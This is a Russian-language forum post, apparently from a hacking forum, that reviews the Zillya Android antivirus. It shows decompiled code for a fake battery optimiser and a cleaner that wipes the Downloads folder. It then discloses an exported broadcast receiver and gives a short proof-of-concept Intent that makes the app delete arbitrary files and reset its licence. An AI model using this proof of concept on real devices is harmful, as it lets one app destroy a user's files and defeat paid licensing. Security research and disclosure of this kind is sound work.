LIMB
Вход Регистрация

тема

(СТАТЬЯ) Antivirus 'Zillya' 'Сертифицированного для использования государственными органами' + 0Day Vuln

AndroidKitKat · · 4 ответов · 800 просмотров

Меня заинтересовал под разбор один антивирус 'Zillya' Украинского производства который 'Сертифицированный для использования государственными органами'что также указано на их сайте
а также как заявлено его использует 'Высший административный суд Украины' собственно должно сложиться впечетление о каком-то серьезном продукте

Не удалось прогрузить медиа

По итогу анализа это оказалось абсолютно не так и я бы пересмотрел сертификацию данного проекта как минимум его android направления (по поводу windows я ничего не скажу)

В статье разберу этот дырявый ужас с различных сторон

1. Интересно это как в теории можно использовать это приложение?

смотрим разрешения:
JSON:
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_LOGS"/>
    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
    <uses-permission android:name="com.android.vending.BILLING"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>


    и также AccessibilityService


     На первый вгляд какой-то юмор мол антивирус решил засунуть в manifest миллион разрешений как у малвари (смутил Accesibility и миллион ресиверов) но оказалось нет - он их реально использует =/ 


  1.  AccessibilityService: Чтение URL из браузеров для анализа (п****ц) -    
  2. ACCESS_BACKGROUND_LOCATION: Использует для проверки на кражу (ахуеть) -    
  3. DEVICE ADMIN: Заблокировать краденное устройство - DeviceAdminHelper.java     
  4. amera: Сфотографировать вора - SilentPhotoActivity.java    

    

Это просто какой потенциал для потенциальной малвари которой Zillya не является но при небольшой модификации (учитывая что вообще никаких защит у самого приложения нет - проверки целостности какой-то минимальной)

   
может дать функции полноценной малвари и даже мощнее чем Octagon который запрашивает только Accessibility а тут целый набор возможностей с полным легитимным обоснованием

Тут тебе и HVNC/VNC/OTP/SMS/GPS/CAMERA так еще и DEVICE ADMIN в придачу чтобы телефон заблокировать ну вообщем миллион всякого возможного ужаса

а значит что устанавливать такое не через Google Play Store самоубийство учитывая что на официальном сайте нельзя это сделать - ХОТЯ кнопка скачать .Apk есть (просто ничего не происходит)


   2. Шизофренический бред 


Оптимизатор батареи фейк с рандомными числами

Java:
BatteryStartFragment при нажатии "Оптимизировать":

BatteryStartFragment.java
private void lambda$onViewCreated$0(View view) {
    Intent intent = new Intent("android.intent.action.POWER_USAGE_SUMMARY");
    if (getContext().getPackageManager().resolveActivity(intent, 0) != null) {
        startActivity(intent);
    }
    // больше ничего не происходит
}

Никакой оптимизации нет. Приложение просто открывает штатный экран батареи Android и всё. Когда пользователь возвращается показывается результат:

BatteryResultFragment.java
// PlaybackStateCompat.ACTION_SET_CAPTIONING_ENABLED = 8192L
long jRandom = this.ram / 8192L;

if (jRandom > 100) {   
    jRandom = (long) ((Math.random() * 20.0d) + 80.0d); // ← РАНДОМ 80-100
}

layout.minutes.setText(String.format("+%d %s", jRandom, "минут"));

Java:
BatteryProgressFragment.onViewCreated() при этом абсолютно пустой:
java@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
    super.onViewCreated(view, savedInstanceState);
  
}

Очиститель памяти удаляет ВСЕ файлы из Downloads
MemoryResultFragment.gatherDataToClean() добавляет в список каждый файл из папки Загрузки:

Java:
javaFile downloads = Environment.getExternalStoragePublicDirectory(
    Environment.DIRECTORY_DOWNLOADS);
File[] files = downloads.listFiles();

if (files != null) {
    for (File file : files) {
        arrayList.add(new CacheEntityItem(
            file.getName(),
            null,
            FileUtils.getPathSize(file),
            file,
            null,   
            false   
        ));
    }
}

При нажатии "Очистить" вызывается

cleanCache()

FileUtils.deleteRecursive():
javapublic static void deleteRecursive(File fileOrDirectory, String extension) {
    if (fileOrDirectory.isDirectory()) {
        for (File child : fileOrDirectory.listFiles()) {
            deleteRecursive(child, extension);
        }
    }
    if (extension == null) {
        fileOrDirectory.delete();
    }
}

Файлы из Downloads добавляются с extension = null. Это значит

deleteRecursive удалит любой выбранный файл или папку целиком, включая вложения, документы, APK.
Дополнительно сканируются кеши ВСЕХ установленных приложений на внешнем хранилище:

Java:
javafor (ApplicationInfo app : pm.getInstalledApplications(1152)) {
    File cacheDir = new File(
        Environment.getExternalStorageDirectory(),
        "/Android/data/" + app.packageName + "/cache/"
    );
}

Это только часть полнейшего шизофренического бреда в этом так называемом 'антивирусе'

3. 0Day - уязвимости (одна из многих)


     

В процессе анализа я заметил AntivirusNotificationReceiver с android:exported="true" и без никакого intent-filter!
а значит что любое приложение может просто взять отправить intent на приложение через setComponent() точно указав и свормулировав 


AntivirusNotificationReceiver.onReceive() выполняется в процессе Zillya с UID Zillya.
File.delete() работает с правами Zillya, а не с правами 'атакующего' через какой-то intent


А значит что у нас теперь есть в руках возможности удалять файлы через File.delete() ибо это чудо имеет разрешение на WRITE_EXTERNAL_STORAGE
Вот у нас теперь есть 0Day который может:

  1. Удалить базу данных Zillya    
  2. Сбросить лицензию Zillya    
  3. Удалить какой-то файл с телефона    
 ну собственно много разных пакостей


0Day PoC:
Java:
    private static final String TAG            = "ZillyaPoC";
    private static final String ZILLYA_PKG     = "com.zillya.scanner";
    private static final String RECEIVER_CLASS =
            "com.zillya.security.fragments.antivirus.service.AntivirusNotificationReceiver";
    private static final String ACTION_DELETE  = "ANTIVIRUS_DELETE";
    private static final String EXTRA_FILE     = "VIRUS_FILE";

  
    private Uri    mediaStoreUri; 
    private String realFilePath;   //sdcard/Download/poc_test.txt

Java:
Intent intent = new Intent();
intent.setComponent(new ComponentName(ZILLYA_PKG, RECEIVER_CLASS));
intent.setAction(ACTION_DELETE);
intent.putExtra(EXTRA_FILE, ZILLYA_PREFS);

Ну а также не забудьте добавить
Java:
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"

(Если создаете приложение для теста)


Можно в теории проэксплуатировать уязвимость даже не через другое приложение  - КСТАТИ за это люди еще и деньги платят там подписка даже есть какая-то которая обходиться этим же 0Day - просто удалите базу самолично

Вот такая вот небольшая статья вышла про антивирус Zillya у которого 100тыс+ скачиваний в Google Play 


Честно надоело анализировать такую срань даже но там на самом деле дыр/странностей миллион и почему-то отзывы в основном о этом чуде положительные - Мб если кому-то интересно продолжить то могу еще покопаться в этом дерьме ну а пока я буду смотреть ждать от вас фидбек интересно или нет


Telegram: https://t.me/kitkat_android
Telegram Channel: https://t.me/+Wgp_qBBovDU3MjEy
Я есть на Xss/Duty/Exploit - AndroidKitKat

(Сверяйте контакты)
Не удалось прогрузить медиа
👍51 😮14 👏4 🤔12
Кстати я также писал в ''Zillya' чтобы сообщить о проблеме 
но меня отфутболили а потом после глубокого анализа часть функций вообще оказалась скамом. 

     

Telegram: https://t.me/kitkat_android
Telegram Channel: https://t.me/+Wgp_qBBovDU3MjEy
Я есть на Xss/Duty/Exploit - AndroidKitKat
украинский антивирус зеля))
👍2
ОтветAndroidKitKat

Кстати я также писал в ''Zillya' чтобы сообщить о проблеме

у тебя украинское гражданство, значит?

не представляю россиянина, который писал бы украинским разработчикам.
тогда...це зрада)))
👍1
Ответlisa99

у тебя украинское гражданство, значит? не представляю россиянина, который писал бы украинским разработчикам. тогда...це зрада)))

да я сам в укр и меня просто выбесило такое наплевательское отношение
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.